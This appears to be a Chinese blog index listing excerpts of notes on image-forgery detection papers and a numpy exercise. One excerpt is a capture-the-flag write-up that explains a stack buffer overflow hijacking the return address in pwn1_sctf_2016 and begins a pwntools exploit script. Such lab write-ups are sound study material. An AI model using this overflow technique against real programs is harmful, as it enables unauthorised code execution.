brightendavid's blog

原创 ： Image Tampering Detection via Semantic Segmentation Network Image Tampering Detection via Semantic Segmentation Network 基于语义分割网络的篡改检测 Proceedings of ICSP2020 基本的思想是 篡改的目的在于混淆，混淆的手段在于语义物体。由此，语义检测的语义信息可以帮助篡改检测。 觉得很有道理，符合人类正常的思维。之前也有过这样的想法。但是实际上，还是有些差异，这个是使用的网络模型，而不是直接使用网络参数真的做语义分割。 要是有人实际试一试带有语义分割信息的篡改检测就好了。 实际的原理可能在于篡改检测是一种特殊的语义分割问题，人眼无法判断出其中的语义，并不说明实际没有语义差异。 多任务的模型 多任务感觉还是很流行的。 尤其是边缘和区域的这种双任务模式。 但是区域和边缘是可以转化的，不直接使用其中的一个，而用多任务。认为是这个原因。 不直接使用区域检测的结果提取边缘 或者直接使用边缘检测填充 ...

原创 ： Image splicing detection using mask-RCNN Image splicing detection using mask-RCNN Signal, Image and Video Processing (2020) 14:1035–1042 https://doi.org/10.1007/s11760-020-01636-0 据传第一张篡改图像 虽然数字成像提供了许多创造的可能性，但它也可以用来制作伪造的文件。图像篡改几乎和摄影技术本身一样古老，早在1865年，当时摄影师马修·布雷迪将弗朗西斯·p·布莱尔将军添加到一张原始照片中，让他似乎在场。 数据生成法 理想的篡改检测数据集 ： 足够大的数据集 包含不同类型 现有的公开数据集并不能满足足够条件点名批评Columbia 使用coco数据集生成大量的splicing图像 这个就比大多数拿现成的篡改数据集训练模型的论文要优秀的多了。 12万张篡改图像。 This dataset consists of 80 classes, 80,000 ...

原创 ： MULTI-TASK WAVELET CORRECTED NETWORK FOR IMAGE SPLICING FORGERY DETECTION AND LOCALIZATION MULTI-TASK WAVELET CORRECTED NETWORK FOR IMAGE SPLICING FORGERY DETECTION AND LOCALIZATION 多任务的基于小波池化矫正的网络 三个多任务 一个区域的篡改检测 一个边缘的篡改检测 一个重构解码器来重构输入图像lx。编码器学习到的特征信息越多，重建图像IxR的质量就越好。 后半部分网络结构相同，但是不共享参数。 分别拿三个Loss去约束。 三个输出相互独立，个人认为还是把区域的pred 和边缘的pred 后面加入一个融合的小网络比较好，层数不用太多，4-5层应该就可以。 或者说，直接给一个权重，信任边缘pred的结果，边缘基本按照边缘去给也可以。 Wavelet-pooling 基于小波的池化操作和上采样操纵 池化对于图像细微特征的破坏不是什么新东西了。 滤波核的参数是学习参数 ...

原创 ： ManTra-Net: Manipulation Tracing Network For Detection And Localization of Image Forgeries With Anom ManTra-Net: Manipulation Tracing Network For Detection And Localization of Image Forgeries With Anom 篡改检测问题可以看作是特殊的语义分割问题 是一个局部异常检测问题。 重点 主要贡献 （1）ZPool2D DNN层，以Z-score方式标准化了局部特征与其参考之间的差异； （2）从远到近的分析，该分析对从不同分辨率汇集的ZPool2D特征图执行Conv2DLSTM顺序分析。 ZPool2D计算 区域的主要特征定义为所有像素的平均。 主要特征和其他特征的差异为DF，是像素的数值-主要特征的数值。 ZF为DF的标准化。 像素级的分类。输出每个像素的pred篡改类型，总计为385个小类别。 385个小类别是由篡改类型分类 7分类 细化分类 ...

原创 ： Multi-task Fully Convolutional Network (MFCN)和single-task FCN(SFCN) Multi-task Fully Convolutional Network (MFCN)和single-task FCN(SFCN) Image Splicing Localization Using A Multi-Task Fully Convolutional Network (MFCN) 多任务的全卷积网络篡改检测问题 旧有的区域检测网络可以提供篡改区域的掩膜，但是对于篡改区域与原图的边缘往往是区分的很粗糙的。 但是若是篡改边缘的检测，那么对于篡改边缘的预测想必会好一些。 但是篡改边缘的问题也十分的明显，篡改边缘是极其容易被掩盖的。 甚至如今PS就自带了类似边缘模糊的功能。 如下图是通过PS自动套索工具产生的一个特定无意义区域。 观察周边的半透明像素，当这个图层与其他图层堆叠，半透明的像素就会和下面的图层的颜色做一个调整,篡改的边缘能够剩下多少就很难说了。 篡改边缘检测的阻力还是很大的。 这一点 ...

原创 ： Numpy实现大矩阵减去小矩阵的方便运算 Numpy实现大矩阵减去小矩阵的方便运算 把一个向量加到矩阵的每一行: 调用numpy库 完成cs231作业1，numpy 参考知乎CS231n课程笔记翻译：Python Numpy教程 使用一重循环 123456789101112131415161718# We will add the vector v to each row of the matrix x,# storing the result in the matrix yimport numpy as npx = np.array([[1,2,3], [4,5,6], [7,8,9], [10, 11, 12]])v = np.array([1, 0, 1])y = np.empty_like(x) # Create an empty matrix with the same shape as x# Add the vector v to each row of the matrix x with an explicit loopfor i i ...

原创 ： Operation-wise Attention Network for Tampering Localization Fusion Operation-wise Attention Network for Tampering Localization Fusion 2021 arXiv 选取5种篡改检测方法做了一个加权的网络，来联合使用5种方法得出的预测图。这个网络真的做的简单。 RGB->5个特征+5个权重->RGB? 但是最后的输出是不是应该的单通道的H*W的mask图。 总觉得这种方法有点耍赖。但是篡改检测的最终方向一定是类似这种方法，把所有的线索都进行考虑，然后对不仅要由所有的线索推断篡改痕迹，所有的线索之间的联系做一个相关，不相关的线索认为是造假的(欺骗检测方法的)，最后综合的判断篡改的像素。 这5种方法使用的线索是jpg压缩线索，图像的噪声线索。就是用的方法有点老了，都是2015，2018的算法。 那么这个方法的应用就必然是jpg篡改了。 train 使用 DEFACTO dataset 百度学术的链接，不是数据集 ...

原创 ： PWN (3) pwn1_sctf_2016 1 PWN (3) pwn1_sctf_2016 1 查找字符串，发现了一个flag.txt。 输入在这里 限制为32长度的输入 看到EBP的地址 这个flag的地址是08048F0D 这个基准位置EBP（0x00000000）的下面一个就是EIP 图示如下，我觉得我已经明白了 ±————–+ |ESP | ±————–+ | buf | ±————–+ | 填充物 | ±————–+ | EBP | ±————–+ | EIP | ±————–+ | … …| | 内存高址 | S的容量是32. 这里有fget 函数约束，不能输入超过32B的字符 那么要溢出到eip的位置，劫持返回地址，就必须要达到3C的大小。才能够覆盖到eip 原则上是不可能有那么长的，但是后面有一个replace 函数，把’I’替换为了’you’，那么I就是3个长度位了。 0x3C=64=20*3+4 12345678910from pwn import *p = remote('node3.buuo ...

原创 ： PSCC-Net: Progressive Spatio-Channel Correlation Network for Image Manipulation Detection and Locali PSCC-Net: Progressive Spatio-Channel Correlation Network for Image Manipulation Detection and Locali arXiv 2021 Mar 图像的篡改检测分为隐式检测和显式检测 隐式检测 说明了图像整体篡改的概率 显式检测 说明逐像素篡改的概率 即判定一张图片是否经过篡改 和 像素级别的定位篡改 近年来的算法太过于关注像素级的定位，而忽略了图片整体的篡改概率。 但是就信息量而言，定位的信息已经包括了图片整体的篡改概率了。 比如说，要说明一个人是坏人，首先要说明他干了什么坏事才对。 指出人干了什么坏事，说明是坏人 一般的图像篡改检测算法输出的Pred 不是一个二值化的分类mask图像，而是在0-255之间的灰度图像。 无论是边缘还是区域，人 ...

原创 ： SPAN: Spatial Pyramid Attention Network for Image Manipulation Localization SPAN: Spatial Pyramid Attention Network for Image Manipulation Localization SPAN: Spatial Pyramid Attention Network for Image Manipulation Localization ECCV 2020 代码链接 https://github.com/ZhiHanZ/IRIS0-SPAN/blob/d8e4241f151ef2f40eacbb970fe5e3f531c6a4b4/README.md 不过这个作者提供的权重是多gpu的，准确来说是2个GPU，没有这个资源用他这个训练好的模型。受不了。这个作者也是不厚道。使用的tensorflow的框架。 这个代码整了两天没跑起来。生气 这个作者的不厚道有2点 网络框架 这个 pre-trained feature ...